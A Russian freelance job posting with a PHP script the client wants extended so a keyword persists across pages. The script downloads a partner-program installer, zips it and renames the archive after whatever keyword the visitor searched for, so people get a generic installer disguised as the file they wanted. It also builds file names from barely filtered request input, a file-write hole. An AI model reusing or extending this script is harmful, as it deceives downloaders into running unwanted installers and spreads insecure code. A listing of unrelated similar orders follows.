Найдите исполнителя для вашего проекта прямо сейчас!
Разместите заказ на фриланс-бирже и предложения поступят уже через несколько минут.

Имеется скрипт:

Пользователь переходит на мой сайт по ссылке с сайта партнёра, ссылка у партнёра такого рода:

domain.ru/files/kdm01&q=KLUCHEVOE+SLOVO.zip

На моём сайте ссылка данная меняется, на domain.ru/files/kdm02aojj

И данный ключ запоминается и передается на мою страницу. В итоге на моей странице есть поле "Имя файла", где написан тот ключ:

Имя файла: KLUCHEVOE SLOVO.zip

Пользователь жмет скачать, скачивается инсталлятор с сайта партнёрской программы, пакует его в зип. Переименовывает архив под ключевое слово и выдает на скачку пользователю.

---- ЗАДАНИЕ ------------------------------------------------------------------------------------------

Проблема в том, что, если человек пришел на сайт мой, то при переходе на третью страницу - ключ уже не передается.

Надо сделать так, что бы при переходе пользователя на мой сайт - ключ этот KLUCHEVOE SLOVO.zip - сохранился. И при переходе на другую страницу моего сайта, там так же можно было использовать параметр

.zip

---- СКРИПТ, КОТОРЫЙ НУЖНО ДОПОЛНИТЬ ------------------------------------------------------------------------------------------

Сам скрипт НА ГЛАВНОЙ странице имеет такой вид:

require_once('pclzip.lib.php');

$exeurl = "http://domainsarhivom.ru/file.exe"; // ссылка на файл

$param = "q"; // Параметр, в котором передается ключевик (main.php?q=key)

$filename = 'soft.exe'; // Имя файла для сохранения на сервере

$script = end(explode("/", $_SERVER['SCRIPT_NAME']));

error_reporting(0);

if (isset($_REQUEST[$param])) {

$text = str_replace(array("kdm02", ".zip", ".rar"), "", strtolower($_REQUEST[$param]));

SetCookie("keyword",$text);

header("Location: /files/kdm02aojj");

} else {

if (isset($_COOKIE['keyword'])) {

$text = @$_COOKIE['keyword'];

} else {

$text = "File";

SetCookie("keyword",$text);

}

}

header('Content-Type: text/html; charset=windows-1251');

$script = end(explode("/", $_SERVER['SCRIPT_NAME']));

if (isset($_REQUEST['download'])) {

$download = str_replace(array('"',"'"), "", $_REQUEST['download']);

$file = file_get_contents($exeurl);

fwrite(fopen($download.".exe", "w+"), $file);

$aname = $download.'.zip';

$archive = new PclZip($aname);

$archive->add($download.".exe");

$archive->add("ReadMe.txt");

unlink($download.".exe");

if (isset($_SERVER['HTTP_USER_AGENT']) and strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE')) {

Header('Content-Type: application/force-download');

} else {

Header('Content-Type: application/octet-stream');

}

Header('Content-disposition: attachment; filename="' . $aname.'"');

header('Content-Description: File Transfer');

header('Content-Transfer-Encoding: binary');

header('Expires: 0');

header('Cache-Control: must-revalidate');

header('Pragma: public');

Header('Content-Length: ' . filesize($aname));

readfile($aname);

unlink($aname);

exit();

}

?>

12 лет назад
Art-Media
Андрей 
37 летРоссия
19 лет в сервисе
Был
год назад
  • Похожие заказы
  • Описание задания: реструктуризация/модернизация (апгрейд) и редизайн информационно-образовательного сайта согласно ТЗ. Основная цель: улучшение функциональности и практичности сайта. Движок сайта: согласно исполнителю - самописанный. Мы предоставляем ТЗ в графическо-текстовом виде, согласовываем стоимость и рассматриваем ...

    Закрыт
    12 лет назад
  • Необходимо на моем сайте( наверное написать скрипт) для реализовать скачивание полно-размерных фотографий посредством отправки смс. Могу дать ссылку на сайт, где сделано так как мне нужно. Скажите сколько эта работа займет времени и сколько ...

    Закрыт
    12 лет назад
  • Требуется создать простую доску объявлений, придержваясь идеологии ООП. По требованиям: Размещение объявления без регистрации (указывая емайл), с регстрацией. Панели управления для пользователя, модератора, админстратора. Возможность из админки менять дизайн (по сути должен работать любой хтмл ...

    Закрыт
    12 лет назад
  • Добрый день! Нужен человек который умеет создавать обычные сайты с шаблонов WP, Joomla! Нужно найти шаблон-русифицировать и настроить под нужды моего бизнеса! Желательно не дорого! Ищу ответственного человека! Желательно с Украины! Связь через скайп: legerta_pm Спасибо!

    Закрыт
    12 лет назад
  • $70

    Сайт chelovek-brend.ru, он действующий, хочу перевести его на джумла, с чуть переделанным дизайном. Сразу сообщаем, что работаем без предоплат. Работа поетапно, показываете какойто результат — оплата. Работаем именно в таком русле. Пишите сразу свои контакты: скайп!

    Завершен
    12 лет назад
  • Есть 2 IP: 1) 93.116.4.87 2) 93.116.4.113 Ip динамические. Необходимо определить выходили ли через эти IP с одного компа или же с разных. То есть нужно узнать один и тот же человек или нет.

    Закрыт
    12 лет назад
  • $5000

    Здравствуйте. Требуется в короткие сроки создать сайт типа социальной сети. Подробное ТЗ имеется, графика тоже. Через 2 недели необходимо чтобы уже работала регистрация пользователей и 2 модуля. Бюджет будет оговорен отдельно с исполнителем. С удовольствием отвечу на вопросы и ...

    Завершен
    12 лет назад
  • $1000

    Задание только для профессионалов со знанием UMI на долгосрочные отношения. О проекте: 1. Требуется сделать редизайн уже работающего сайта. 2. Доработать существующий функционал и доработать новые модули. Обязательно: Внимательный подход, всегда на связи, заключение договора. Никаких предоплат, работаем, ...

    Закрыт
    12 лет назад
  • http://dom-a-dom.ru/categories/10 Требуется спарсить данный раздел у конкурентов и разместить его здесь на нашем сайте: http://akmmos.ru/index.php?page=shop.browse&category_id=28&option=com_virtuemart&Itemid=54 1. Сделать каждую кухню товаром, добавив ПОЛЕ для внесения: цены и описания справа от фото кухи. 2. В описании кухонь и ящиков добавить статус: "На ...

    Закрыт
    12 лет назад